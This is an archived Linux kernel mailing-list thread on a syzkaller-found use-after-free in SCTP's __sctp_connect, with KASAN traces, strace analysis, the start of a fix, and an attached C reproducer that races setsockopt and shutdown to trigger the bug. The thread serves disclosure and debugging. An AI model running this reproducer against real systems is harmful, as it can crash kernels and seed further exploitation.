* Re: net/sctp: use-after-free in __sctp_connect 2016-01-19 14:38 ` Vlad Yasevich @ 2016-01-21 17:18 ` Marcelo Ricardo Leitner 2016-01-21 17:37 ` Marcelo Ricardo Leitner 0 siblings, 1 reply; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-01-21 17:18 UTC (permalink / raw) To: Vlad Yasevich Cc: Dmitry Vyukov, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet, syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin On Tue, Jan 19, 2016 at 09:38:54AM -0500, Vlad Yasevich wrote: > On 01/15/2016 02:01 PM, Marcelo Ricardo Leitner wrote: > > On Wed, Jan 13, 2016 at 10:52:31AM +0100, Dmitry Vyukov wrote: > >> Hello, > >> > >> The following program causes use-after-free in __sctp_connect: > >> > > ... > >> INFO: Freed in sctp_association_put+0x150/0x250 age=0 cpu=3 pid\x15267 > >> [< none >] __slab_free+0x1fc/0x320 mm/slub.c:2678 > >> [< inline >] slab_free mm/slub.c:2833 > >> [< none >] kfree+0x2a8/0x2d0 mm/slub.c:3662 > >> [< inline >] sctp_association_destroy net/sctp/associola.c:424 > >> [< none >] sctp_association_put+0x150/0x250 net/sctp/associola.c:860 > >> [< none >] sctp_wait_for_connect+0x37c/0x4f0 net/sctp/socket.c:7067 > > ^^^^^^^^^^^^^^ > >> [< none >] __sctp_connect+0x905/0xb90 net/sctp/socket.c:1215 > >> [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 > >> net/sctp/socket.c:1328 > >> [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 > >> [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 > >> [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 > >> [< inline >] SYSC_setsockopt net/socket.c:1752 > >> [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 > >> [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a > >> arch/x86/entry/entry_64.S:185 > > > > This one may sher some light on that other socket leak one, because the > > association shouldn't have been freed at that point. > > Now, how it managed to unbalance that refcnt, hmm... > > > > The free may be a result of implicit close when the program ends. If the thread > is still waiting for connect to finish when the program ends, we may end up > in a situation when the association has been freed, but the ref held by wait_for_connect > prevents the destruction. When wait_for_connect finishes in puts the ref and > causes the destruction. That could be it, yes. > What I am guessing is happing is the wait_for_connect doesn't catch the error condition > correctly and thus __sctp_connect() doesn't think there was and error and references > the assoc which was just destroyed. Perfect. There is another thing that this program exploits that, in this case, leads to this. It's creating a tcp-style socket, calling connect() on it in one thread and sendto() to a different peer in the main thread probably while the connect is still in progress. Seems that can lead to one having two assocs on a tcp-style socket, because we don't check if we the socket has associations but if it's in established state. I don't see the checks on sctp_sendmsg() protecting from this case. 2511 14:55:10 socket(PF_INET6, SOCK_STREAM, IPPROTO_SCTP) = 3 <0.000366> 2511 14:55:10 mmap(0x20000000, 65536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x20000000 <0.000082> 2511 14:55:10 bind(3, {sa_family¯_INET6, sin6_port=htons(13280), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo\x1882116169, sin6_scope_id305060172}, 28) = 0 <0.000119> - bound to IPv6 2511 14:55:10 mmap(NULL, 8392704, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f52f9e75000 <0.000084> 2511 14:55:10 brk(0) = 0x1cf8000 <0.000065> 2511 14:55:10 brk(0x1d19000) = 0x1d19000 <0.000079> 2511 14:55:10 brk(0) = 0x1d19000 <0.000064> 2511 14:55:10 mprotect(0x7f52f9e75000, 4096, PROT_NONE) = 0 <0.000091> 2511 14:55:10 clone(child_stack=0x7f52fa674ff0, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x7f52fa6759d0, tls=0x7f52fa675700, child_tidptr=0x7f52fa6759d0) = 2512 <0.000211> 2511 14:55:10 setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=6, linger=0}, 8 <unfinished ...> 2512 14:55:10 set_robust_list(0x7f52fa6759e0, 24 <unfinished ...> 2511 14:55:10 <... setsockopt resumed> ) = 0 <0.000135> 2512 14:55:10 <... set_robust_list resumed> ) = 0 <0.000133> 2511 14:55:10 sendfile(3, 3, [0], 192 <unfinished ...> 2512 14:55:10 connect(3, {sa_family¯_INET, sin_port=htons(13273), sin_addr=inet_addr("127.0.0.1")}, 128 <unfinished ...> - connect to IPv4. This connect should timeout, as we can't find a route between ipv4/ipv6. - no packet is sent due to this 2511 14:55:10 <... sendfile resumed> ) = -1 ESPIPE (Illegal seek) <0.000146> 2511 14:55:10 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 <0.000066> 2511 14:55:10 rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0 <0.000065> 2511 14:55:10 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 <0.000067> 2511 14:55:10 nanosleep({4, 0}, 0x7ffffd73eee0) = 0 <4.000258> - added a sleep(4) to make this more evident 2511 14:55:14 sendto(3, "\0\0\0\0\0\0\0\1\335\1\370\375\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 112, 0, {sa_family¯_INET6, sin6_port=htons(13276), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo512421652, sin6_scope_idB60889053}, 128) = 112 <0.001601> - sendto() to an IPv6 addr while connect() is still running. - socket is not in established state. - assoc is not a peeled off, as we can't find a transport using this tuple - so this new assoc ends up being allowed under a tcp-style socket - nobody is listening on 13276. An ABORT is sent back 2512 14:55:14 <... connect resumed> ) = -1 ECONNREFUSED (Connection refused) <4.003595> - And suddenly the connect() is confused and thinks the error was for it, exact after sendto() auto-association noticed the error. - Funny thing is, as sendto() thinks it succeeded, as connect() already consumed the error via sctp_error(). If the program was ending and if the threads awakening were the other way around, e.g. if connect() had started a bit after sendto(), connect() probably would have thought it succeeded, and referenced the freed memory. I'm thinking we should add a function to better identify busy sockets such as this. Like in __sctp_connect(), issuing connect()s in parallel will also fool current checks. Thoughts? Marcelo ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-01-21 17:18 ` Marcelo Ricardo Leitner @ 2016-01-21 17:37 ` Marcelo Ricardo Leitner 0 siblings, 0 replies; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-01-21 17:37 UTC (permalink / raw) To: Vlad Yasevich Cc: Dmitry Vyukov, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet, syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin On Thu, Jan 21, 2016 at 03:18:18PM -0200, Marcelo Ricardo Leitner wrote: > On Tue, Jan 19, 2016 at 09:38:54AM -0500, Vlad Yasevich wrote: > > On 01/15/2016 02:01 PM, Marcelo Ricardo Leitner wrote: > > > On Wed, Jan 13, 2016 at 10:52:31AM +0100, Dmitry Vyukov wrote: > > >> Hello, > > >> > > >> The following program causes use-after-free in __sctp_connect: > > >> > > > ... > > >> INFO: Freed in sctp_association_put+0x150/0x250 age=0 cpu=3 pid\x15267 > > >> [< none >] __slab_free+0x1fc/0x320 mm/slub.c:2678 > > >> [< inline >] slab_free mm/slub.c:2833 > > >> [< none >] kfree+0x2a8/0x2d0 mm/slub.c:3662 > > >> [< inline >] sctp_association_destroy net/sctp/associola.c:424 > > >> [< none >] sctp_association_put+0x150/0x250 net/sctp/associola.c:860 > > >> [< none >] sctp_wait_for_connect+0x37c/0x4f0 net/sctp/socket.c:7067 > > > ^^^^^^^^^^^^^^ > > >> [< none >] __sctp_connect+0x905/0xb90 net/sctp/socket.c:1215 > > >> [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 > > >> net/sctp/socket.c:1328 > > >> [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 > > >> [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 > > >> [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 > > >> [< inline >] SYSC_setsockopt net/socket.c:1752 > > >> [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 > > >> [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a > > >> arch/x86/entry/entry_64.S:185 > > > > > > This one may sher some light on that other socket leak one, because the > > > association shouldn't have been freed at that point. > > > Now, how it managed to unbalance that refcnt, hmm... > > > > > > > The free may be a result of implicit close when the program ends. If the thread > > is still waiting for connect to finish when the program ends, we may end up > > in a situation when the association has been freed, but the ref held by wait_for_connect > > prevents the destruction. When wait_for_connect finishes in puts the ref and > > causes the destruction. > > That could be it, yes. > > > What I am guessing is happing is the wait_for_connect doesn't catch the error condition > > correctly and thus __sctp_connect() doesn't think there was and error and references > > the assoc which was just destroyed. > > Perfect. There is another thing that this program exploits that, in this > case, leads to this. It's creating a tcp-style socket, calling connect() > on it in one thread and sendto() to a different peer in the main thread > probably while the connect is still in progress. Seems that can lead to > one having two assocs on a tcp-style socket, because we don't check if > we the socket has associations but if it's in established state. I don't > see the checks on sctp_sendmsg() protecting from this case. > > 2511 14:55:10 socket(PF_INET6, SOCK_STREAM, IPPROTO_SCTP) = 3 > <0.000366> > 2511 14:55:10 mmap(0x20000000, 65536, PROT_READ|PROT_WRITE, > MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x20000000 <0.000082> > 2511 14:55:10 bind(3, {sa_family¯_INET6, sin6_port=htons(13280), > inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo\x1882116169, > sin6_scope_id305060172}, 28) = 0 <0.000119> > - bound to IPv6 > > 2511 14:55:10 mmap(NULL, 8392704, PROT_READ|PROT_WRITE, > MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f52f9e75000 <0.000084> > 2511 14:55:10 brk(0) = 0x1cf8000 <0.000065> > 2511 14:55:10 brk(0x1d19000) = 0x1d19000 <0.000079> > 2511 14:55:10 brk(0) = 0x1d19000 <0.000064> > 2511 14:55:10 mprotect(0x7f52f9e75000, 4096, PROT_NONE) = 0 <0.000091> > 2511 14:55:10 clone(child_stack=0x7f52fa674ff0, > flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, > parent_tidptr=0x7f52fa6759d0, tls=0x7f52fa675700, > child_tidptr=0x7f52fa6759d0) = 2512 <0.000211> > 2511 14:55:10 setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=6, linger=0}, > 8 <unfinished ...> > 2512 14:55:10 set_robust_list(0x7f52fa6759e0, 24 <unfinished ...> > 2511 14:55:10 <... setsockopt resumed> ) = 0 <0.000135> > 2512 14:55:10 <... set_robust_list resumed> ) = 0 <0.000133> > 2511 14:55:10 sendfile(3, 3, [0], 192 <unfinished ...> > 2512 14:55:10 connect(3, {sa_family¯_INET, sin_port=htons(13273), > sin_addr=inet_addr("127.0.0.1")}, 128 <unfinished ...> > - connect to IPv4. This connect should timeout, as we can't find a > route between ipv4/ipv6. > - no packet is sent due to this > > 2511 14:55:10 <... sendfile resumed> ) = -1 ESPIPE (Illegal seek) > <0.000146> > 2511 14:55:10 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 <0.000066> > 2511 14:55:10 rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0 > <0.000065> > 2511 14:55:10 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 <0.000067> > 2511 14:55:10 nanosleep({4, 0}, 0x7ffffd73eee0) = 0 <4.000258> > - added a sleep(4) to make this more evident > > 2511 14:55:14 sendto(3, > "\0\0\0\0\0\0\0\1\335\1\370\375\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., > 112, 0, {sa_family¯_INET6, sin6_port=htons(13276), inet_pton(AF_INET6, > "::1", &sin6_addr), sin6_flowinfo512421652, sin6_scope_idB60889053}, > 128) = 112 <0.001601> > - sendto() to an IPv6 addr while connect() is still running. > - socket is not in established state. > - assoc is not a peeled off, as we can't find a transport using this > tuple > - so this new assoc ends up being allowed under a tcp-style socket > - nobody is listening on 13276. An ABORT is sent back > > 2512 14:55:14 <... connect resumed> ) = -1 ECONNREFUSED (Connection > refused) <4.003595> > - And suddenly the connect() is confused and thinks the error was for > it, exact after sendto() auto-association noticed the error. > - Funny thing is, as sendto() thinks it succeeded, as connect() already > consumed the error via sctp_error(). > > If the program was ending and if the threads awakening were the other > way around, e.g. if connect() had started a bit after sendto(), > connect() probably would have thought it succeeded, and referenced the > freed memory. Hmm connect() doesn't have to start after sendto(), no, as they are waiting on different wq. Seems it has to wake the connect thread via sctp_write_space() or sctp_wake_up_waiters(), via sctp_wfree(), which is set as destructor upon sctp_sendmsg(). So when that chunk is freed, the connect() returns, seems to make sense to me. > I'm thinking we should add a function to better identify busy sockets > such as this. Like in __sctp_connect(), issuing connect()s in parallel > will also fool current checks. Thoughts? > > Marcelo > > -- > To unsubscribe from this list: send the line "unsubscribe linux-sctp" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > ^ permalink raw reply [flat|nested] 17+ messages in thread
* net/sctp: use-after-free in __sctp_connect 2016-01-13 9:52 net/sctp: use-after-free in __sctp_connect Dmitry Vyukov 2016-01-14 1:37 ` YUAN Jia 2016-01-15 19:01 ` Marcelo Ricardo Leitner @ 2016-10-19 12:25 ` Andrey Konovalov 2016-10-19 16:57 ` Marcelo Ricardo Leitner 2 siblings, 1 reply; 17+ messages in thread From: Andrey Konovalov @ 2016-10-19 12:25 UTC (permalink / raw) To: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML Cc: syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin, Eric Dumazet, Dmitry Vyukov Hi, I've got the following error report while running the syzkaller fuzzer: ================================= BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr ffff88006b1dc610 Read of size 4 by task syz-executor/21837 CPU: 2 PID: 21837 Comm: syz-executor Not tainted 4.9.0-rc1+ #228 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 ffff8800393ef930 ffffffff81b474f4 ffff88003e80ed40 ffff88006b1dc568 ffff88006b1dd6a0 ffff88006b1dc560 ffff8800393ef958 ffffffff8150b33c ffff8800393ef9e8 ffff88003e80ed40 ffff8800eb1dc610 ffff8800393ef9d8 Call Trace: [< inline >] __dump_stack lib/dump_stack.c:15 [<ffffffff81b474f4>] dump_stack+0xb3/0x10f lib/dump_stack.c:51 [<ffffffff8150b33c>] kasan_object_err+0x1c/0x70 mm/kasan/report.c:156 [< inline >] print_address_description mm/kasan/report.c:194 [<ffffffff8150b5d7>] kasan_report_error+0x1f7/0x4d0 mm/kasan/report.c:283 [< inline >] kasan_report mm/kasan/report.c:303 [<ffffffff8150b96e>] __asan_report_load4_noabort+0x3e/0x40 mm/kasan/report.c:323 [<ffffffff8393457e>] __sctp_connect+0xabe/0xbf0 net/sctp/socket.c:1219 [<ffffffff83934832>] __sctp_setsockopt_connectx+0x182/0x1b0 net/sctp/socket.c:1329 [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1361 [<ffffffff8393c1d9>] sctp_setsockopt+0x1009/0x3d70 net/sctp/socket.c:3813 [<ffffffff82b770d6>] sock_common_setsockopt+0x96/0xd0 net/core/sock.c:2688 [< inline >] SYSC_setsockopt net/socket.c:1742 [<ffffffff82b740b4>] SyS_setsockopt+0x154/0x240 net/socket.c:1721 [<ffffffff83fc0141>] entry_SYSCALL_64_fastpath+0x1f/0xc2 Object at ffff88006b1dc568, in cache kmalloc-4096 size: 4096 Allocated: PID = 21837 [ 270.449111] [<ffffffff8107e2d6>] save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:57 [ 270.449111] [<ffffffff8150a6a6>] save_stack+0x46/0xd0 mm/kasan/kasan.c:495 [ 270.449111] [< inline >] set_track mm/kasan/kasan.c:507 [ 270.449111] [<ffffffff8150a91b>] kasan_kmalloc+0xab/0xe0 mm/kasan/kasan.c:598 [ 270.449111] [<ffffffff8150604c>] kmem_cache_alloc_trace+0xec/0x270 mm/slub.c:2735 [ 270.449111] [< inline >] kmalloc include/linux/slab.h:490 [ 270.449111] [< inline >] kzalloc include/linux/slab.h:636 [ 270.449111] [<ffffffff838f2b2f>] sctp_association_new+0x6f/0x1f50 net/sctp/associola.c:303 [ 270.449111] [<ffffffff8393402a>] __sctp_connect+0x56a/0xbf0 net/sctp/socket.c:1163 [ 270.449111] [<ffffffff83934832>] __sctp_setsockopt_connectx+0x182/0x1b0 net/sctp/socket.c:1329 [ 270.449111] [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1361 [ 270.449111] [<ffffffff8393c1d9>] sctp_setsockopt+0x1009/0x3d70 net/sctp/socket.c:3813 [ 270.449111] [<ffffffff82b770d6>] sock_common_setsockopt+0x96/0xd0 net/core/sock.c:2688 [ 270.449111] [< inline >] SYSC_setsockopt net/socket.c:1742 [ 270.449111] [<ffffffff82b740b4>] SyS_setsockopt+0x154/0x240 net/socket.c:1721 [ 270.449111] [<ffffffff83fc0141>] entry_SYSCALL_64_fastpath+0x1f/0xc2 Freed: PID = 21837 [ 270.449111] [<ffffffff8107e2d6>] save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:57 [ 270.449111] [<ffffffff8150a6a6>] save_stack+0x46/0xd0 mm/kasan/kasan.c:495 [ 270.449111] [< inline >] set_track mm/kasan/kasan.c:507 [ 270.449111] [<ffffffff8150af03>] kasan_slab_free+0x73/0xc0 mm/kasan/kasan.c:571 [ 270.449111] [< inline >] slab_free_hook mm/slub.c:1352 [ 270.449111] [< inline >] slab_free_freelist_hook mm/slub.c:1374 [ 270.449111] [< inline >] slab_free mm/slub.c:2951 [ 270.449111] [<ffffffff815073e8>] kfree+0xe8/0x2b0 mm/slub.c:3871 [ 270.449111] [< inline >] sctp_association_destroy net/sctp/associola.c:426 [ 270.449111] [<ffffffff838f56e5>] sctp_association_put+0x155/0x250 net/sctp/associola.c:866 [ 270.449111] [<ffffffff8392e213>] sctp_wait_for_connect+0x313/0x460 net/sctp/socket.c:7544 [ 270.449111] [<ffffffff8393443b>] __sctp_connect+0x97b/0xbf0 net/sctp/socket.c:1217 [ 270.449111] [<ffffffff83934832>] __sctp_setsockopt_connectx+0x182/0x1b0 net/sctp/socket.c:1329 [ 270.449111] [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1361 [ 270.449111] [<ffffffff8393c1d9>] sctp_setsockopt+0x1009/0x3d70 net/sctp/socket.c:3813 [ 270.449111] [<ffffffff82b770d6>] sock_common_setsockopt+0x96/0xd0 net/core/sock.c:2688 [ 270.449111] [< inline >] SYSC_setsockopt net/socket.c:1742 [ 270.449111] [<ffffffff82b740b4>] SyS_setsockopt+0x154/0x240 net/socket.c:1721 [ 270.449111] [<ffffffff83fc0141>] entry_SYSCALL_64_fastpath+0x1f/0xc2 Memory state around the buggy address: ffff88006b1dc500: fc fc fc fc fc fc fc fc fc fc fc fc fc fb fb fb ffff88006b1dc580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb >ffff88006b1dc600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff88006b1dc680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88006b1dc700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ================================= sctp_wait_for_connect ends up freeing asoc, which is later accessed to read asoc->assoc_id. On commit 1a1891d762d6e64daf07b5be4817e3fbb29e3c59 (Oct 18). ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-10-19 12:25 ` Andrey Konovalov @ 2016-10-19 16:57 ` Marcelo Ricardo Leitner 2016-11-02 22:42 ` Andrey Konovalov 0 siblings, 1 reply; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-10-19 16:57 UTC (permalink / raw) To: Andrey Konovalov Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin, Eric Dumazet, Dmitry Vyukov On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: > Hi, > > I've got the following error report while running the syzkaller fuzzer: > > ================================= > BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr > ffff88006b1dc610 Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. So far I couldn't identify the reason. "Good" to know it's still there, thanks for reporting it. ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-10-19 16:57 ` Marcelo Ricardo Leitner @ 2016-11-02 22:42 ` Andrey Konovalov 2016-11-03 17:11 ` Andrey Konovalov 0 siblings, 1 reply; 17+ messages in thread From: Andrey Konovalov @ 2016-11-02 22:42 UTC (permalink / raw) To: Marcelo Ricardo Leitner Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov [-- Attachment #1: Type: text/plain, Size: 831 bytes --] On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> wrote: > On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: >> Hi, >> >> I've got the following error report while running the syzkaller fuzzer: >> >> ================================================================== >> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr >> ffff88006b1dc610 > > Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. > So far I couldn't identify the reason. > "Good" to know it's still there, thanks for reporting it. Hi Marcelo, I've attached a reproducer that might help to figure out the reason. It triggers the UAF for me in ~10 seconds of running as: $ gcc -lpthread sctp-connect-uaf-poc.c $ while true; do ./a.out; done You need to have KASAN enabled. > [-- Attachment #2: sctp-connect-uaf-poc.c --] [-- Type: application/octet-stream, Size: 3735 bytes --] // autogenerated by syzkaller (http://github.com/google/syzkaller) #ifndef __NR_socket #define __NR_socket 41 #endif #ifndef __NR_setsockopt #define __NR_setsockopt 54 #endif #ifndef __NR_mmap #define __NR_mmap 9 #endif #ifndef __NR_shutdown #define __NR_shutdown 48 #endif #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <errno.h> #include <error.h> #include <fcntl.h> #include <pthread.h> #include <setjmp.h> #include <signal.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> __thread int skip_segv; __thread jmp_buf segv_env; static void segv_handler(int sig, siginfo_t* info, void* uctx) { if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED)) _longjmp(segv_env, 1); exit(sig); } static void install_segv_handler() { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_NODEFER | SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); } #define NONFAILING(...) \ { \ __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \ if (_setjmp(segv_env) == 0) { \ __VA_ARGS__; \ } \ __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \ } static uintptr_t execute_syscall(int nr, uintptr_t a0, uintptr_t a1, uintptr_t a2, uintptr_t a3, uintptr_t a4, uintptr_t a5, uintptr_t a6, uintptr_t a7, uintptr_t a8) { switch (nr) { default: return syscall(nr, a0, a1, a2, a3, a4, a5); } } long r[14]; void* thr(void* arg) { switch ((long)arg) { case 0: r[0] = execute_syscall(__NR_mmap, 0x20000000ul, 0x332000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul, 0, 0, 0); break; case 1: r[1] = execute_syscall(__NR_socket, 0x2ul, 0x1ul, 0x0ul, 0, 0, 0, 0, 0, 0); break; case 2: r[2] = execute_syscall(__NR_socket, 0xaul, 0x1ul, 0x84ul, 0, 0, 0, 0, 0, 0); break; case 3: r[3] = execute_syscall(__NR_shutdown, r[2], 0x0ul, 0, 0, 0, 0, 0, 0, 0); break; case 4: NONFAILING(*(uint16_t*)0x20008fe4 = (uint16_t)0xa); NONFAILING(*(uint16_t*)0x20008fe6 = (uint16_t)0x4242); NONFAILING(*(uint32_t*)0x20008fe8 = (uint32_t)0x1ddb); NONFAILING(*(uint32_t*)0x20008fec = (uint32_t)0x5); NONFAILING(*(uint32_t*)0x20008ff0 = (uint32_t)0xffff); NONFAILING(*(uint32_t*)0x20008ff4 = (uint32_t)0x7); NONFAILING(*(uint32_t*)0x20008ff8 = (uint32_t)0x0); NONFAILING(*(uint32_t*)0x20008ffc = (uint32_t)0xffffffffffffff23); r[12] = execute_syscall(__NR_setsockopt, r[2], 0x84ul, 0x6eul, 0x20008fe4ul, 0x1cul, 0, 0, 0, 0); break; case 5: r[13] = execute_syscall(__NR_shutdown, r[2], 0x1ul, 0, 0, 0, 0, 0, 0, 0); break; } return 0; } int main() { long i; pthread_t th[12]; install_segv_handler(); memset(r, -1, sizeof(r)); srand(getpid()); for (i = 0; i < 6; i++) { pthread_create(&th[i], 0, thr, (void*)i); usleep(10000); } for (i = 0; i < 6; i++) { pthread_create(&th[6 + i], 0, thr, (void*)i); if (rand() % 2) usleep(rand() % 10000); } usleep(100000); return 0; } ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-02 22:42 ` Andrey Konovalov @ 2016-11-03 17:11 ` Andrey Konovalov 2016-11-03 17:52 ` Marcelo Ricardo Leitner 0 siblings, 1 reply; 17+ messages in thread From: Andrey Konovalov @ 2016-11-03 17:11 UTC (permalink / raw) To: Marcelo Ricardo Leitner Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner > <marcelo.leitner@gmail.com> wrote: >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: >>> Hi, >>> >>> I've got the following error report while running the syzkaller fuzzer: >>> >>> ================================= >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr >>> ffff88006b1dc610 >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. >> So far I couldn't identify the reason. >> "Good" to know it's still there, thanks for reporting it. Hi Marcelo, So I've looked at the code. As far as I understand, the problem is a race condition between setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. setsockopt() calls sctp_wait_for_connect(), which exits the for loop on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc with sctp_association_put() and returns err = 0. Then __sctp_connect() checks that err = 0 and reads asoc->assoc_id from the freed asoc. ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-03 17:11 ` Andrey Konovalov @ 2016-11-03 17:52 ` Marcelo Ricardo Leitner 2016-11-03 18:02 ` Andrey Konovalov 0 siblings, 1 reply; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-11-03 17:52 UTC (permalink / raw) To: Andrey Konovalov Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: > On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: > > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner > > <marcelo.leitner@gmail.com> wrote: > >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: > >>> Hi, > >>> > >>> I've got the following error report while running the syzkaller fuzzer: > >>> > >>> ================================= > >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr > >>> ffff88006b1dc610 > >> > >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. > >> So far I couldn't identify the reason. > >> "Good" to know it's still there, thanks for reporting it. > > Hi Marcelo, > Hi > So I've looked at the code. > As far as I understand, the problem is a race condition between > setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. > setsockopt() calls sctp_wait_for_connect(), which exits the for loop > on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc > with sctp_association_put() and returns err = 0. > Then __sctp_connect() checks that err = 0 and reads asoc->assoc_id > from the freed asoc. Suddenly this seems familiar. Your description makes sense, thanks for looking deeper into this, Andrey. This fix should do it, can you please try it? I'll post it properly if it works. wait_for_connect is only used in two places, we can move the ref to a broader scope and cover that read too, instead of holding another ref. sendmsg path won't read anything from the asoc after waiting, so this should be enough for it too. ---8<--- commit 7f7ba9b4fb834a61ab097dfd7c1f267e6a6d70a8 Author: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> Date: Thu Nov 3 15:47:45 2016 -0200 sctp: hold the asoc longer when associating diff --git a/net/sctp/socket.c b/net/sctp/socket.c index 